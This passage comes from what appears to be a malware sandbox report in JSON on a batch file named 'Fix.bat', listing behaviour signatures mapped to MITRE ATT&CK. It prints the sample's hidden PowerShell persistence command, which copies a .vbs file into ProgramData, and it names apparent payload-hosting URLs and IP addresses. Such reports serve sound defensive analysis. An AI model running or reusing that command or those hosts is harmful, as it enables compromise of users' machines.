Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"Fix.bat\" was detected as \"plain text\" and name: \"Format\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"file/memory contains long string with (Indicator: \"New-Object\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$39","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$3a","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$3b","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"bbrlxwtkbgvpnpfykexu.supabase.co\"\n \"i.ibb.co\"\n \"uca1223b327fae62a33d148ed736.previews.dropboxusercontent.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"SYEARMONTH\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\\USER PROFILE\"; Key: \"LANGUAGES\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\\GEO\"; Key: \"NAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$3d","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$3e","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"The input sample is signed with a certificate issued by \"CN=E5, O=Let's Encrypt, C=US\" (SHA1: 30:62:E2:16:F0:8D:8F:C4:30:EF:67:44:60:2F:45:29:D1:5B:AF:94; see report for more information)\n The input sample is signed with a certificate issued by \"CN=ISRG Root X1, O=Internet Security Research Group, C=US\" (SHA1: 5F:28:D9:C5:89:EE:4B:F3:1A:11:B7:8C:72:B8:D1:3F:07:9D:DC:45; see report for more information)\n The input sample is signed with a certificate issued by \"CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US\" (SHA1: 05:95:42:F3:6F:FE:BD:CE:FC:26:64:8B:45:86:A7:A4:91:0C:EF:D7; see report for more information)\n The input sample is signed with a certificate issued by \"CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US\" (SHA1: 1C:58:A3:A8:51:8E:87:59:BF:07:5B:76:B7:50:D4:F2:DF:26:4F:CD; see report for more information)","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Tries to copy files","description":"Process \"powershell.exe\" with commandline \"-WindowStyle Hidden if ((Get-Location).Path -ne '%ALLUSERSPROFILE%\\\\) { (Get-ChildItem *.vbs | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination '%ALLUSERSPROFILE%\\\\StartupName.vbs' -Force }\" (UID: 00000000-00007560)","origin":"Monitored Target","mitre_attack_id":"T1570","relevance":3,"id":"target-291","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_oztrlywq.2cq.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_adkwe4mc.k1s.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_bnwxky12.2at.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_hlxvtujq.odb.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_bvyyk3xv.unz.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_guc1osrv.m3c.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_xuscdmdd.qss.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_oaj2uv35.p1s.psm1\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Installation/Persistence","name":"Attempts remote code execution into another process memory space","description":"$3f","origin":"API Call","mitre_attack_id":"T1055.002","relevance":1,"id":"api-315","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$40","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$41","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"cmd.exe\" queries basic process information of the \"C:\\Windows\\System32\\cmd.exe\" (UID: 3788)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$42","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"cmd.exe\" reads file \"c:\\fix.bat\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)\n Matched sigs: Triggers a burst of requests to the same API (API Hammering)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\fltLib.dll\"\n \"cmd.exe\" trying to touch file \"C:\\windows\\temp\\VxOle64.dll\"\n \"cmd.exe\" trying to touch file \"C:\\WINDOWS\\system32\\IMM32.DLL\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\en-US\\cmd.exe.mui\"\n \"cmd.exe\" trying to touch file \"C:\\WINDOWS\\system32\\CRYPTSP.DLL\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\cryptsp.dll\"\n \"cmd.exe\" trying to touch file \"\\Global??\\FltMgrMsg\"\n \"cmd.exe\" trying to touch file \"C:\\\"\n \"cmd.exe\" trying to touch file \"C:\\\"C:\\Fix.bat\"\"\n \"cmd.exe\" trying to touch file \"C:\\WINDOWS\\SYSTEM32\\cmdext.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\cmdext.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\AppLocker\\MDM\"\n \"cmd.exe\" trying to touch file \"C:\\Fix.bat\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"powershell.exe\" touched file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\catroot2\"\n \"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive\"\n \"powershell.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"powershell.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$43","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$44","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\__psscriptpolicytest_oztrlywq.2cq.ps1\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\__psscriptpolicytest_adkwe4mc.k1s.psm1\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\microsoft\\windows\\powershell\\startupprofiledata-noninteractive\"\n \"powershell.exe\" writes file \"%temp%\\__psscriptpolicytest_oztrlywq.2cq.ps1\"\n \"powershell.exe\" writes file \"%temp%\\__psscriptpolicytest_adkwe4mc.k1s.psm1\"\n \"powershell.exe\" writes file \"%localappdata%\\microsoft\\windows\\powershell\\startupprofiledata-noninteractive\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\__psscriptpolicytest_bnwxky12.2at.ps1\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\__psscriptpolicytest_hlxvtujq.odb.psm1\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00001612-00000C2B-1390606031\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00001612-00000C2B-1390582289\")\n Found reference to API \"WinHttpOpen\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00001612-00000C2B-1390888433\")\n Found reference to API \"WinHttpOpenW\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00001612-00000C2B-1390888474\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Network Related","name":"Contains ability to copy items (Powershell command string)","description":"Found string \"if ((Get-Location).Path -ne 'C:\\ProgramData') { (Get-ChildItem *.vbs | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination 'C:\\ProgramData\\StartupName.vbs' -Force }\" (Indicator: \"Copy-Item \"; File: \"AMSI\")\n Found string \"-WindowStyle Hidden if ((Get-Location).Path -ne '%ALLUSERSPROFILE%\\) { (Get-ChildItem *.vbs | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination '%ALLUSERSPROFILE%\\StartupName.vbs' -Force }\" (Indicator: \"Copy-Item \"; File: \"powershell.exe\")\n file/memory contains long string with (Indicator: \"Copy-Item \"; Source: \"00000000-00007560.00000000.153901.2E750000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-377","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload or download data from a specified domain","description":"file/memory contains long string with (Indicator: \"System.Net.WebClient\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1102.002","relevance":1,"id":"string-536","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"wsastartup\"; Source: \"00000000-00001612-00000C2B-1390582289\")\n Found reference to API \"o enable assembly bind failure logging, set the registry value [HKLM\\Software\\Microsoft\\Fusion!EnableLog] (DWORD) to 1.\" (Indicator: \" bind \"; Source: \"00000000-00001496.00000000.152207.6B4E0000.00000004.mdmp\")\n Found reference to API \"ote: There is some performance penalty associated with assembly bind failure logging.\" (Indicator: \" bind \"; Source: \"00000000-00001496.00000000.152207.6D7E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"Observed email domain:\"pmx.\" [Source: 00000000-00007560.00000000.153901.2E750000.00000004.mdmp]","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-169","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"2.5.29.37\"\n \"2.5.29.35\"\n Potential IP \"3.0.0.0\" found in string \"ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35\"\n \"192.168.0.2\"\n Potential IP \"4.0.0.0\" found in string \"on=4.0.0.0, Cult\"\n Potential IP \"1.0.0.0\" found in string \"sion=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35\"\n Potential IP \"4.0.0.0\" found in string \"rsion=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\" />\", Potential IP \"4.0.0.0\" found in string \"4.0.0.0\n Culture\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"bbrlxwtkbgvpnpfykexu.supabase.co\"\n Heuristic match: \"i.ibb.co\"\n Heuristic match: \"uca1223b327fae62a33d148ed736.previews.dropboxusercontent.com\"\n Pattern match: \"https://cfl.dropboxstatic.com/static/metaserver/sta\"\n Pattern match: \"bbrlxwtkbgvpnpfykexu.supabase.co/storage/v1/object/public/nano/image.jpg?12711343\"\n Pattern match: \"microsoft.net/framework64/v4.0.30319/\"\n Heuristic match: \"f0efad11e022\\mscorlib.ni\"\n Heuristic match: \"ntime.re\"\n Heuristic match: \"on.re\"\n Pattern match: \"http://schemas.microsoft.com/smi/2016/windowssettings\"\n Heuristic match: \"ystem.ru\"","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"bbrlxwtkbgvpnpfykexu.supabase.co\" has high entropy\n Contacted domain: \"uca1223b327fae62a33d148ed736.previews.dropboxusercontent.com\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 6a5d235ee78c6aede6a61448b4e9ff1e\n Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Network Related","name":"Recently renewed or created SSL certificate","description":"Newly renewed or created SSL certificate: \"i.ibb.co\" (7 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-4","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"i.ibb.co\" (89 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Network Related","name":"Tries to copy items using PowerShell","description":"Process \"powershell.exe\" with commandline \"-WindowStyle Hidden if ((Get-Location).Path -ne '%ALLUSERSPROFILE%\\\\) { (Get-ChildItem *.vbs | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination '%ALLUSERSPROFILE%\\\\StartupName.vbs' -Force }\" (UID: 00000000-00007560)","origin":"Monitored Target","mitre_attack_id":"T1570","relevance":3,"id":"target-441","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"207.174.26.219\" on port \"443\"\n HTTPS traffic to \"162.125.4.16\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - Medium entropy File","description":"YARA signature to detect medium entropy file process \"00000000-00007560\"","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":5,"id":"yara-606","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PowerShell file content","description":"YARA signature for detecting PowerShell file matched on process \"00000000-00007560\"","origin":"YARA Signature","mitre_attack_id":"T1059.001","relevance":3,"id":"yara-36","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - RC4 Encryption","description":"YARA signature for RC4 encryption matched on process \"00000000-00007560\"","origin":"YARA Signature","mitre_attack_id":"T1027","id":"yara-104","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLEB57CCADD671EEC7369E215ED14C3]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00001496.00000000.152207.6B4E0000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLED9D6E031695A8B4B74F5E751D7F1]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00001612.00000000.152853.FEF80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00001496.00000000.152207.6B4E0000.00000004.mdmp\")\n Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00001612.00000000.152853.99A10000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegQueryValueExW\" in \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\"\n Found registry query API: \"RegGetValueW\" in \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\"\n Found registry query API: \"RegOpenKeyExW\" in \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\"\n Found registry query API: \"RegEnumKeyExW\" in \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to get system information using PowerShell","description":"Process \"powershell.exe\" with commandline \"-WindowStyle Hidden if ((Get-Location).Path -ne '%ALLUSERSPROFILE%\\\\) { (Get-ChildItem *.vbs | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination '%ALLUSERSPROFILE%\\\\StartupName.vbs' -Force }\" (UID: 00000000-00007560)","origin":"Monitored Target","mitre_attack_id":"T1082","relevance":1,"id":"target-289","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$45","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00001496)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00001612)\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00004416)\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00007560)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$46","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate objects (Powershell command string)","description":"$47","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-374","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")\n Found reference to API \"GetCurrentProcessId\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: 